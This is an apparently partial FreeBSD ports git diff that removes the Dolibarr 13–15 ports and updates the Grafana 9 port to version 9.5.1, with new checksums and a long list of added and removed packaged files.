${PORTNAME:S/d/D/} -USES= cpe php:web -USE_PHP= calendar curl gd intl session -NO_BUILD= yes -NO_ARCH= yes -SUB_FILES= pkg-message -PLIST_SUB= WWWOWN=${WWWOWN} WWWGRP=${WWWGRP} - -OPTIONS_DEFINE= MYSQL PGSQL -OPTIONS_DEFAULT= PGSQL - -MYSQL_USE= PHP=mysqli -PGSQL_USE= PHP=pgsql - -WWWDIR= ${PREFIX}/www/${PORTNAME}${PKGNAMESUFFIX} - -post-extract: - ${RM} -R ${WRKSRC}/.github - ${RM} ${WRKSRC}/.gitmessage - ${RM} ${WRKSRC}/.stickler.yml - -do-install: - ${MKDIR} ${STAGEDIR}/${WWWDIR} - @cd ${WRKSRC} && ${COPYTREE_SHARE} . ${STAGEDIR}/${WWWDIR} - -.include diff --git a/www/dolibarr13/distinfo b/www/dolibarr13/distinfo deleted file mode 100644 index 15bea6b3b0f..00000000000 --- a/www/dolibarr13/distinfo +++ /dev/null @@ -1,3 +0,0 @@ -TIMESTAMP = 1636134071 -SHA256 (Dolibarr-dolibarr-13.0.5_GH0.tar.gz) = 08ec08dc5093d614361f273237f5aaf8d70e63d764c2fa8d7f3f68a1485156d0 -SIZE (Dolibarr-dolibarr-13.0.5_GH0.tar.gz) = 60609037 diff --git a/www/dolibarr13/files/pkg-message.in b/www/dolibarr13/files/pkg-message.in deleted file mode 100644 index de001b83ec1..00000000000 --- a/www/dolibarr13/files/pkg-message.in +++ /dev/null @@ -1,21 +0,0 @@ -[ -{ type: install - message: <= 8.x -EXPIRATION_DATE=2023-04-30 - -LICENSE= GPLv3 - -USE_GITHUB= yes -GH_ACCOUNT= ${PORTNAME:S/d/D/:S/14//} -GH_PROJECT= dolibarr -USES= cpe php:web -USE_PHP= calendar curl gd intl session -NO_BUILD= yes -NO_ARCH= yes -SUB_FILES= pkg-message -PLIST_SUB= WWWOWN=${WWWOWN} WWWGRP=${WWWGRP} - -CPE_VENDOR= dolibarr -CPE_PRODUCT= dolibarr - -OPTIONS_DEFINE= MYSQL PGSQL -OPTIONS_DEFAULT= PGSQL - -MYSQL_USE= PHP=mysqli -PGSQL_USE= PHP=pgsql - -post-extract: - ${RM} -R ${WRKSRC}/.github - ${RM} ${WRKSRC}/.gitmessage - ${RM} ${WRKSRC}/.stickler.yml - -do-install: - ${MKDIR} ${STAGEDIR}/${WWWDIR} - @cd ${WRKSRC} && ${COPYTREE_SHARE} . ${STAGEDIR}/${WWWDIR} - -.include diff --git a/www/dolibarr14/distinfo b/www/dolibarr14/distinfo deleted file mode 100644 index 89c7cad09f7..00000000000 --- a/www/dolibarr14/distinfo +++ /dev/null @@ -1,3 +0,0 @@ -TIMESTAMP = 1642352174 -SHA256 (Dolibarr-dolibarr-14.0.5_GH0.tar.gz) = 31f4c934e484a9582d8867e4170f1f1acd8c41628b059370a6a449eb6e94ae75 -SIZE (Dolibarr-dolibarr-14.0.5_GH0.tar.gz) = 63409849 diff --git a/www/dolibarr14/files/pkg-message.in b/www/dolibarr14/files/pkg-message.in deleted file mode 100644 index 062aeab1cbb..00000000000 --- a/www/dolibarr14/files/pkg-message.in +++ /dev/null @@ -1,21 +0,0 @@ -[ -{ type: install - message: <= 8.x -EXPIRATION_DATE=2023-04-30 - -LICENSE= GPLv3 - -USE_GITHUB= yes -GH_ACCOUNT= ${PORTNAME:S/d/D/:S/15//} -GH_PROJECT= dolibarr -USES= cpe php:web -USE_PHP= calendar curl gd intl session -NO_BUILD= yes -NO_ARCH= yes -SUB_FILES= pkg-message -PLIST_SUB= WWWOWN=${WWWOWN} WWWGRP=${WWWGRP} - -OPTIONS_DEFINE= MYSQL PGSQL -OPTIONS_DEFAULT= PGSQL - -MYSQL_USE= PHP=mysqli -PGSQL_USE= PHP=pgsql - -post-extract: - ${RM} -R ${WRKSRC}/.github - ${RM} ${WRKSRC}/.gitmessage - ${RM} ${WRKSRC}/.stickler.yml - -do-install: - ${MKDIR} ${STAGEDIR}/${WWWDIR} - @cd ${WRKSRC} && ${COPYTREE_SHARE} . ${STAGEDIR}/${WWWDIR} - -.include diff --git a/www/dolibarr15/distinfo b/www/dolibarr15/distinfo deleted file mode 100644 index 0694878e59f..00000000000 --- a/www/dolibarr15/distinfo +++ /dev/null @@ -1,3 +0,0 @@ -TIMESTAMP = 1664691220 -SHA256 (Dolibarr-dolibarr-15.0.3_GH0.tar.gz) = b145a38f56c44b166721d64909fb12408c6d10d08fcf74d2c00418a60201cc9d -SIZE (Dolibarr-dolibarr-15.0.3_GH0.tar.gz) = 64190012 diff --git a/www/dolibarr15/files/pkg-message.in b/www/dolibarr15/files/pkg-message.in deleted file mode 100644 index 18bd7f7445e..00000000000 --- a/www/dolibarr15/files/pkg-message.in +++ /dev/null @@ -1,21 +0,0 @@ -[ -{ type: install - message: < Generating wire_gen.go"; \ - ${SETENV} ${MAKE_ENV} ${GO_ENV} wire gen -tags "oss" ./pkg/server ./pkg/cmd/grafana-cli/runner ) + ${SETENV} ${MAKE_ENV} ${GO_ENV} wire gen -tags "oss" ./pkg/server ) post-install: ${MKDIR} ${STAGEDIR}${GRAFANA_HOMEDIR} diff --git a/www/grafana9/distinfo b/www/grafana9/distinfo index 42627dd4bf0..e5ab1d78fb8 100644 --- a/www/grafana9/distinfo +++ b/www/grafana9/distinfo @@ -1,7 +1,7 @@ -TIMESTAMP = 1682536319 -SHA256 (go/www_grafana9/grafana-grafana-v9.4.9_GH0/grafana-9.4.9.linux-amd64.tar.gz) = 100f0c265c33170aa1e84177b236982fcbd0e2d8f985b9cf7ed4fb2062e06454 -SIZE (go/www_grafana9/grafana-grafana-v9.4.9_GH0/grafana-9.4.9.linux-amd64.tar.gz) = 83943489 -SHA256 (go/www_grafana9/grafana-grafana-v9.4.9_GH0/go.mod) = c8b8fecd42596ff2fae9400b2e2c350960c14724a5bd2b919048ad2c7e48640e -SIZE (go/www_grafana9/grafana-grafana-v9.4.9_GH0/go.mod) = 21297 -SHA256 (go/www_grafana9/grafana-grafana-v9.4.9_GH0/grafana-grafana-v9.4.9_GH0.tar.gz) = 4862e61e698eb5de44319c7ffa26f0c8042ad987f1f4400e4b180d690d81f2b7 -SIZE (go/www_grafana9/grafana-grafana-v9.4.9_GH0/grafana-grafana-v9.4.9_GH0.tar.gz) = 26286205 +TIMESTAMP = 1682592937 +SHA256 (go/www_grafana9/grafana-grafana-v9.5.1_GH0/grafana-9.5.1.linux-amd64.tar.gz) = d9b7505cdd4299c1835c36547ffe2e62d3b0ec7600dca2c644a0519572c9c387 +SIZE (go/www_grafana9/grafana-grafana-v9.5.1_GH0/grafana-9.5.1.linux-amd64.tar.gz) = 78487778 +SHA256 (go/www_grafana9/grafana-grafana-v9.5.1_GH0/go.mod) = 0275aa05cf64c28c060a262893af0425504b3c49123e5638fc2fb43470d12939 +SIZE (go/www_grafana9/grafana-grafana-v9.5.1_GH0/go.mod) = 20608 +SHA256 (go/www_grafana9/grafana-grafana-v9.5.1_GH0/grafana-grafana-v9.5.1_GH0.tar.gz) = ef9d603998465a7c7f87cf7415bfde10856925fef5b3cdd3af9da2fb13c4d3e7 +SIZE (go/www_grafana9/grafana-grafana-v9.5.1_GH0/grafana-grafana-v9.5.1_GH0.tar.gz) = 26406811 diff --git a/www/grafana9/pkg-plist b/www/grafana9/pkg-plist index fd339728e61..7be6a1a47f6 100644 --- a/www/grafana9/pkg-plist +++ b/www/grafana9/pkg-plist @@ -10,7 +10,6 @@ bin/grafana-server %%DATADIR%%/plugins-bundled/internal/input-datasource/module.js.map %%DATADIR%%/plugins-bundled/internal/input-datasource/plugin.json %%DATADIR%%/public/api-merged.json -%%DATADIR%%/public/api-spec.json %%DATADIR%%/public/app/AppWrapper.tsx %%DATADIR%%/public/app/angular/AngularApp.ts %%DATADIR%%/public/app/angular/AngularLocationWrapper.test.ts @@ -121,7 +120,6 @@ bin/grafana-server %%DATADIR%%/public/app/core/components/AppChrome/TopBar/TopSearchBarSection.tsx %%DATADIR%%/public/app/core/components/AppChrome/TopSearchBar.tsx %%DATADIR%%/public/app/core/components/AppChrome/TopSearchBarCommandPaletteTrigger.tsx -%%DATADIR%%/public/app/core/components/AppChrome/TopSearchBarInput.tsx %%DATADIR%%/public/app/core/components/AppChrome/types.ts %%DATADIR%%/public/app/core/components/AppNotifications/AppNotificationItem.tsx %%DATADIR%%/public/app/core/components/AppNotifications/AppNotificationList.tsx @@ -393,7 +391,6 @@ bin/grafana-server %%DATADIR%%/public/app/core/services/echo/utils.ts %%DATADIR%%/public/app/core/services/impression_srv.ts %%DATADIR%%/public/app/core/services/keybindingSrv.ts -%%DATADIR%%/public/app/core/services/search_srv.ts %%DATADIR%%/public/app/core/services/theme.ts %%DATADIR%%/public/app/core/services/withFocusedPanelId.ts %%DATADIR%%/public/app/core/specs/OrgSwitcher.test.tsx @@ -403,7 +400,6 @@ bin/grafana-server %%DATADIR%%/public/app/core/specs/flatten.test.ts %%DATADIR%%/public/app/core/specs/impression_srv.test.ts %%DATADIR%%/public/app/core/specs/rangeutil.test.ts -%%DATADIR%%/public/app/core/specs/search_srv.test.ts %%DATADIR%%/public/app/core/specs/store.test.ts %%DATADIR%%/public/app/core/specs/ticks.test.ts %%DATADIR%%/public/app/core/specs/time_series.test.ts @@ -460,8 +456,6 @@ bin/grafana-server %%DATADIR%%/public/app/features/admin/AdminListOrgsPage.tsx %%DATADIR%%/public/app/features/admin/AdminOrgsTable.tsx %%DATADIR%%/public/app/features/admin/AdminSettings.tsx -%%DATADIR%%/public/app/features/admin/CrawlerStartButton.tsx -%%DATADIR%%/public/app/features/admin/CrawlerStatus.tsx %%DATADIR%%/public/app/features/admin/LicenseChrome.tsx %%DATADIR%%/public/app/features/admin/OrgRolePicker.tsx %%DATADIR%%/public/app/features/admin/ServerStats.test.tsx @@ -535,8 +529,6 @@ bin/grafana-server %%DATADIR%%/public/app/features/alerting/unified/AlertWarning.tsx %%DATADIR%%/public/app/features/alerting/unified/AlertsFolderView.test.tsx %%DATADIR%%/public/app/features/alerting/unified/AlertsFolderView.tsx -%%DATADIR%%/public/app/features/alerting/unified/AmRoutes.test.tsx -%%DATADIR%%/public/app/features/alerting/unified/AmRoutes.tsx %%DATADIR%%/public/app/features/alerting/unified/Analytics.test.ts %%DATADIR%%/public/app/features/alerting/unified/Analytics.ts %%DATADIR%%/public/app/features/alerting/unified/CloneRuleEditor.test.tsx @@ -546,6 +538,8 @@ bin/grafana-server %%DATADIR%%/public/app/features/alerting/unified/Home.tsx %%DATADIR%%/public/app/features/alerting/unified/MuteTimings.test.tsx %%DATADIR%%/public/app/features/alerting/unified/MuteTimings.tsx +%%DATADIR%%/public/app/features/alerting/unified/NotificationPolicies.test.tsx +%%DATADIR%%/public/app/features/alerting/unified/NotificationPolicies.tsx %%DATADIR%%/public/app/features/alerting/unified/PanelAlertTab.tsx %%DATADIR%%/public/app/features/alerting/unified/PanelAlertTabContent.test.tsx %%DATADIR%%/public/app/features/alerting/unified/PanelAlertTabContent.tsx @@ -605,6 +599,8 @@ bin/grafana-server %%DATADIR%%/public/app/features/alerting/unified/components/HoverCard.tsx %%DATADIR%%/public/app/features/alerting/unified/components/InfoIcon.tsx %%DATADIR%%/public/app/features/alerting/unified/components/InvalidIntervalWarning.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/Label.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/MetaText.tsx %%DATADIR%%/public/app/features/alerting/unified/components/NoAlertManagerWarning.tsx %%DATADIR%%/public/app/features/alerting/unified/components/PanelPluginsButtonGroup.tsx %%DATADIR%%/public/app/features/alerting/unified/components/PluginBridge.mock.ts @@ -615,6 +611,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/alerting/unified/components/Spacer.tsx %%DATADIR%%/public/app/features/alerting/unified/components/StateColoredText.tsx %%DATADIR%%/public/app/features/alerting/unified/components/StateTag.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/Strong.tsx %%DATADIR%%/public/app/features/alerting/unified/components/Tokenize.tsx %%DATADIR%%/public/app/features/alerting/unified/components/Well.tsx %%DATADIR%%/public/app/features/alerting/unified/components/admin/AlertmanagerConfig.test.tsx @@ -630,32 +627,30 @@ bin/grafana-server %%DATADIR%%/public/app/features/alerting/unified/components/alert-groups/GroupBy.tsx %%DATADIR%%/public/app/features/alerting/unified/components/alert-groups/MatcherFilter.test.tsx %%DATADIR%%/public/app/features/alerting/unified/components/alert-groups/MatcherFilter.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/AmRootRoute.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/AmRootRouteForm.test.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/AmRootRouteForm.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/AmRootRouteRead.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/AmRoutesExpandedForm.test.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/AmRoutesExpandedForm.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/AmRoutesExpandedRead.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/AmRoutesTable.test.ts -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/AmRoutesTable.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/AmSpecificRouting.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/LabelMatcherFilter.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/MuteTimingForm.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/MuteTimingTimeInterval.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/MuteTimingTimeRange.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/MuteTimingsTable.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/PromDurationDocs.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/PromDurationInput.tsx -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/formStyles.ts -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/gridStyles.ts -%%DATADIR%%/public/app/features/alerting/unified/components/amroutes/timingOptions.ts %%DATADIR%%/public/app/features/alerting/unified/components/bridges/DeclareIncidentButton.tsx %%DATADIR%%/public/app/features/alerting/unified/components/expressions/AlertConditionIndicator.tsx %%DATADIR%%/public/app/features/alerting/unified/components/expressions/Expression.test.tsx %%DATADIR%%/public/app/features/alerting/unified/components/expressions/Expression.tsx %%DATADIR%%/public/app/features/alerting/unified/components/expressions/util.test.ts %%DATADIR%%/public/app/features/alerting/unified/components/expressions/util.ts +%%DATADIR%%/public/app/features/alerting/unified/components/mute-timings/MuteTimingForm.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/mute-timings/MuteTimingTimeInterval.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/mute-timings/MuteTimingTimeRange.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/mute-timings/MuteTimingsTable.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/AlertGroupsSummary.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/EditDefaultPolicyForm.test.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/EditDefaultPolicyForm.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/EditNotificationPolicyForm.test.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/EditNotificationPolicyForm.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/Filters.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/Matchers.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/Modals.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/Policy.test.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/Policy.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/PromDurationDocs.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/PromDurationInput.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/formStyles.ts +%%DATADIR%%/public/app/features/alerting/unified/components/notification-policies/timingOptions.ts %%DATADIR%%/public/app/features/alerting/unified/components/panel-alerts-tab/NewRuleFromPanelButton.test.tsx %%DATADIR%%/public/app/features/alerting/unified/components/panel-alerts-tab/NewRuleFromPanelButton.tsx %%DATADIR%%/public/app/features/alerting/unified/components/receivers/DuplicateTemplateView.tsx @@ -725,6 +720,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/alerting/unified/components/rule-editor/QueryEditor.tsx %%DATADIR%%/public/app/features/alerting/unified/components/rule-editor/QueryRows.tsx %%DATADIR%%/public/app/features/alerting/unified/components/rule-editor/QueryWrapper.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/rule-editor/RecordingRuleEditor.tsx %%DATADIR%%/public/app/features/alerting/unified/components/rule-editor/RuleEditorSection.tsx %%DATADIR%%/public/app/features/alerting/unified/components/rule-editor/RuleFolderPicker.tsx %%DATADIR%%/public/app/features/alerting/unified/components/rule-editor/RuleInspector.tsx @@ -762,6 +758,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/alerting/unified/components/rules/EditRuleGroupModal.test.tsx %%DATADIR%%/public/app/features/alerting/unified/components/rules/EditRuleGroupModal.tsx %%DATADIR%%/public/app/features/alerting/unified/components/rules/GrafanaRules.tsx +%%DATADIR%%/public/app/features/alerting/unified/components/rules/MultipleDataSourcePicker.tsx %%DATADIR%%/public/app/features/alerting/unified/components/rules/NoRulesCTA.tsx %%DATADIR%%/public/app/features/alerting/unified/components/rules/ReorderRuleGroupModal.test.tsx %%DATADIR%%/public/app/features/alerting/unified/components/rules/ReorderRuleGroupModal.tsx @@ -808,6 +805,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/alerting/unified/components/silences/SilencesEditor.tsx %%DATADIR%%/public/app/features/alerting/unified/components/silences/SilencesFilter.tsx %%DATADIR%%/public/app/features/alerting/unified/components/silences/SilencesTable.tsx +%%DATADIR%%/public/app/features/alerting/unified/features.ts %%DATADIR%%/public/app/features/alerting/unified/hooks/useAlertManagerSourceName.test.tsx %%DATADIR%%/public/app/features/alerting/unified/hooks/useAlertManagerSourceName.ts %%DATADIR%%/public/app/features/alerting/unified/hooks/useAlertManagerSources.ts @@ -874,10 +872,12 @@ bin/grafana-server %%DATADIR%%/public/app/features/alerting/unified/utils/alertmanager.ts %%DATADIR%%/public/app/features/alerting/unified/utils/amroutes.test.ts %%DATADIR%%/public/app/features/alerting/unified/utils/amroutes.ts +%%DATADIR%%/public/app/features/alerting/unified/utils/annotations.tsx %%DATADIR%%/public/app/features/alerting/unified/utils/cloud-alertmanager-notifier-types.ts %%DATADIR%%/public/app/features/alerting/unified/utils/config.test.ts %%DATADIR%%/public/app/features/alerting/unified/utils/config.ts %%DATADIR%%/public/app/features/alerting/unified/utils/constants.ts +%%DATADIR%%/public/app/features/alerting/unified/utils/datasource.test.ts %%DATADIR%%/public/app/features/alerting/unified/utils/datasource.ts %%DATADIR%%/public/app/features/alerting/unified/utils/duplicate.test.ts %%DATADIR%%/public/app/features/alerting/unified/utils/duplicate.ts @@ -885,15 +885,19 @@ bin/grafana-server %%DATADIR%%/public/app/features/alerting/unified/utils/labels.ts %%DATADIR%%/public/app/features/alerting/unified/utils/matchers.test.ts %%DATADIR%%/public/app/features/alerting/unified/utils/matchers.ts +%%DATADIR%%/public/app/features/alerting/unified/utils/messageFromError.test.ts %%DATADIR%%/public/app/features/alerting/unified/utils/misc.test.ts %%DATADIR%%/public/app/features/alerting/unified/utils/misc.ts %%DATADIR%%/public/app/features/alerting/unified/utils/mute-timings.ts +%%DATADIR%%/public/app/features/alerting/unified/utils/notification-policies.test.ts +%%DATADIR%%/public/app/features/alerting/unified/utils/notification-policies.ts %%DATADIR%%/public/app/features/alerting/unified/utils/query.test.ts %%DATADIR%%/public/app/features/alerting/unified/utils/query.ts %%DATADIR%%/public/app/features/alerting/unified/utils/receiver-form.test.ts %%DATADIR%%/public/app/features/alerting/unified/utils/receiver-form.ts %%DATADIR%%/public/app/features/alerting/unified/utils/receivers.ts %%DATADIR%%/public/app/features/alerting/unified/utils/redux.ts +%%DATADIR%%/public/app/features/alerting/unified/utils/routeTree.ts %%DATADIR%%/public/app/features/alerting/unified/utils/rule-form.test.ts %%DATADIR%%/public/app/features/alerting/unified/utils/rule-form.ts %%DATADIR%%/public/app/features/alerting/unified/utils/rule-id.test.ts @@ -914,6 +918,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/all.ts %%DATADIR%%/public/app/features/annotations/api.ts %%DATADIR%%/public/app/features/annotations/components/AnnotationResultMapper.tsx +%%DATADIR%%/public/app/features/annotations/components/StandardAnnotationQueryEditor.test.tsx %%DATADIR%%/public/app/features/annotations/components/StandardAnnotationQueryEditor.tsx %%DATADIR%%/public/app/features/annotations/events_processing.test.ts %%DATADIR%%/public/app/features/annotations/events_processing.ts @@ -922,12 +927,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/annotations/standardAnnotationSupport.test.ts %%DATADIR%%/public/app/features/annotations/standardAnnotationSupport.ts %%DATADIR%%/public/app/features/annotations/types.ts -%%DATADIR%%/public/app/features/api-keys/APIKeysMigratedCard.tsx %%DATADIR%%/public/app/features/api-keys/ApiKeysActionBar.tsx -%%DATADIR%%/public/app/features/api-keys/ApiKeysAddedModal.test.tsx -%%DATADIR%%/public/app/features/api-keys/ApiKeysAddedModal.tsx -%%DATADIR%%/public/app/features/api-keys/ApiKeysController.tsx -%%DATADIR%%/public/app/features/api-keys/ApiKeysForm.tsx %%DATADIR%%/public/app/features/api-keys/ApiKeysPage.test.tsx %%DATADIR%%/public/app/features/api-keys/ApiKeysPage.tsx %%DATADIR%%/public/app/features/api-keys/ApiKeysTable.tsx @@ -973,10 +973,6 @@ bin/grafana-server %%DATADIR%%/public/app/features/commandPalette/types.ts %%DATADIR%%/public/app/features/commandPalette/useMatches.ts %%DATADIR%%/public/app/features/commandPalette/values.ts -%%DATADIR%%/public/app/features/comments/Comment.tsx -%%DATADIR%%/public/app/features/comments/CommentManager.tsx -%%DATADIR%%/public/app/features/comments/CommentView.tsx -%%DATADIR%%/public/app/features/comments/types.ts %%DATADIR%%/public/app/features/connections/Connections.test.tsx %%DATADIR%%/public/app/features/connections/Connections.tsx %%DATADIR%%/public/app/features/connections/__mocks__/store.navIndex.mock.ts @@ -1009,17 +1005,33 @@ bin/grafana-server %%DATADIR%%/public/app/features/correlations/CorrelationsPage.test.tsx %%DATADIR%%/public/app/features/correlations/CorrelationsPage.tsx %%DATADIR%%/public/app/features/correlations/Forms/AddCorrelationForm.tsx -%%DATADIR%%/public/app/features/correlations/Forms/CorrelationDetailsFormPart.tsx +%%DATADIR%%/public/app/features/correlations/Forms/ConfigureCorrelationBasicInfoForm.tsx +%%DATADIR%%/public/app/features/correlations/Forms/ConfigureCorrelationSourceForm.tsx +%%DATADIR%%/public/app/features/correlations/Forms/ConfigureCorrelationTargetForm.tsx +%%DATADIR%%/public/app/features/correlations/Forms/CorrelationFormNavigation.tsx %%DATADIR%%/public/app/features/correlations/Forms/EditCorrelationForm.tsx %%DATADIR%%/public/app/features/correlations/Forms/QueryEditorField.test.tsx %%DATADIR%%/public/app/features/correlations/Forms/QueryEditorField.tsx +%%DATADIR%%/public/app/features/correlations/Forms/correlationsFormContext.tsx %%DATADIR%%/public/app/features/correlations/Forms/types.ts +%%DATADIR%%/public/app/features/correlations/Forms/utils.ts %%DATADIR%%/public/app/features/correlations/components/EmptyCorrelationsCTA.tsx +%%DATADIR%%/public/app/features/correlations/components/Wizard/Wizard.test.tsx +%%DATADIR%%/public/app/features/correlations/components/Wizard/Wizard.tsx +%%DATADIR%%/public/app/features/correlations/components/Wizard/WizardContent.tsx +%%DATADIR%%/public/app/features/correlations/components/Wizard/index.ts +%%DATADIR%%/public/app/features/correlations/components/Wizard/types.ts +%%DATADIR%%/public/app/features/correlations/components/Wizard/wizardContext.tsx +%%DATADIR%%/public/app/features/correlations/transformations.ts %%DATADIR%%/public/app/features/correlations/types.ts %%DATADIR%%/public/app/features/correlations/useCorrelations.ts %%DATADIR%%/public/app/features/correlations/utils.test.ts %%DATADIR%%/public/app/features/correlations/utils.ts %%DATADIR%%/public/app/features/dashboard/api/publicDashboardApi.ts +%%DATADIR%%/public/app/features/dashboard/components/AddLibraryPanelWidget/AddLibraryPanelWidget.tsx +%%DATADIR%%/public/app/features/dashboard/components/AddLibraryPanelWidget/index.ts +%%DATADIR%%/public/app/features/dashboard/components/AddPanelButton/AddPanelButton.tsx +%%DATADIR%%/public/app/features/dashboard/components/AddPanelButton/AddPanelMenu.tsx %%DATADIR%%/public/app/features/dashboard/components/AddPanelWidget/AddPanelWidget.test.tsx %%DATADIR%%/public/app/features/dashboard/components/AddPanelWidget/AddPanelWidget.tsx %%DATADIR%%/public/app/features/dashboard/components/AddPanelWidget/_AddPanelWidget.scss @@ -1037,7 +1049,6 @@ bin/grafana-server %%DATADIR%%/public/app/features/dashboard/components/DashNav/DashNavTimeControls.test.tsx %%DATADIR%%/public/app/features/dashboard/components/DashNav/DashNavTimeControls.tsx %%DATADIR%%/public/app/features/dashboard/components/DashNav/index.ts -%%DATADIR%%/public/app/features/dashboard/components/DashboardComments/DashboardCommentsModal.tsx %%DATADIR%%/public/app/features/dashboard/components/DashboardLoading/DashboardFailed.tsx %%DATADIR%%/public/app/features/dashboard/components/DashboardLoading/DashboardLoading.tsx %%DATADIR%%/public/app/features/dashboard/components/DashboardPermissions/AccessControlDashboardPermissions.tsx @@ -1059,7 +1070,6 @@ bin/grafana-server %%DATADIR%%/public/app/features/dashboard/components/DashboardSettings/LinksSettings.test.tsx %%DATADIR%%/public/app/features/dashboard/components/DashboardSettings/LinksSettings.tsx %%DATADIR%%/public/app/features/dashboard/components/DashboardSettings/ListNewButton.tsx -%%DATADIR%%/public/app/features/dashboard/components/DashboardSettings/PreviewSettings.tsx %%DATADIR%%/public/app/features/dashboard/components/DashboardSettings/TimePickerSettings.tsx %%DATADIR%%/public/app/features/dashboard/components/DashboardSettings/VersionsSettings.test.tsx %%DATADIR%%/public/app/features/dashboard/components/DashboardSettings/VersionsSettings.tsx @@ -1077,7 +1087,6 @@ bin/grafana-server %%DATADIR%%/public/app/features/dashboard/components/HelpWizard/randomizer.ts %%DATADIR%%/public/app/features/dashboard/components/HelpWizard/utils.ts %%DATADIR%%/public/app/features/dashboard/components/Inspector/InspectContent.tsx -%%DATADIR%%/public/app/features/dashboard/components/Inspector/PanelInspectActions.tsx %%DATADIR%%/public/app/features/dashboard/components/Inspector/PanelInspector.tsx %%DATADIR%%/public/app/features/dashboard/components/Inspector/hooks.ts %%DATADIR%%/public/app/features/dashboard/components/LinksSettings/LinkSettingsEdit.tsx @@ -1122,6 +1131,7 @@ bin/grafana-server %%DATADIR%%/public/app/features/dashboard/components/PanelEditor/utils.test.ts %%DATADIR%%/public/app/features/dashboard/components/PanelEditor/utils.ts %%DATADIR%%/public/app/features/dashboard/components/PublicDashboardFooter/PublicDashboardsFooter.tsx +%%DATADIR%%/public/app/features/dashboard/components/PublicDashboardNotAvailable/PublicDashboardNotAvailable.tsx %%DATADIR%%/public/app/features/dashboard/components/RepeatRowSelect/RepeatRowSelect.tsx %%DATADIR%%/public/app/features/dashboard/components/RowOptions/RowOptionsButton.tsx %%DATADIR%%/public/app/features/dashboard/components/RowOptions/RowOptionsForm.tsx @@ -1138,7 +1148,6 @@ bin/grafana-server %%DATADIR%%/public/app/features/dashboard/components/SaveDashboard/forms/SaveDashboardForm.test.tsx %%DATADIR%%/public/app/features/dashboard/components/SaveDashboard/forms/SaveDashboardForm.tsx %%DATADIR%%/public/app/features/dashboard/components/SaveDashboard/forms/SaveProvisionedDashboardForm.tsx -%%DATADIR%%/public/app/features/dashboard/components/SaveDashboard/forms/SaveToStorageForm.tsx %%DATADIR%%/public/app/features/dashboard/components/SaveDashboard/types.ts %%DATADIR%%/public/app/features/dashboard/components/SaveDashboard/useDashboardSave.tsx %%DATADIR%%/public/app/features/dashboard/components/ShareModal/ShareEmbed.test.tsx @@ -1148,14 +1157,22 @@ bin/grafana-server %%DATADIR%%/public/app/features/dashboard/components/ShareModal/ShareLink.test.tsx %%DATADIR%%/public/app/features/dashboard/components/ShareModal/ShareLink.tsx %%DATADIR%%/public/app/features/dashboard/components/ShareModal/ShareModal.tsx -%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/AcknowledgeCheckboxes.tsx -%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/Configuration.tsx -%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/Description.tsx +%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/ConfigPublicDashboard/ConfigPublicDashboard.tsx +%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/ConfigPublicDashboard/Configuration.tsx +%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/ConfigPublicDashboard/EmailSharingConfiguration.tsx +%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/CreatePublicDashboard/AcknowledgeCheckboxes.tsx +%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/CreatePublicDashboard/CreatePublicDashboard.tsx +%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/CreatePublicDashboard/Description.tsx +%%DATADIR%%/public/app/features/dashboard/components/ShareModal/SharePublicDashboard/ModalAlerts/NoUpsertPermissionsAlert.tsx 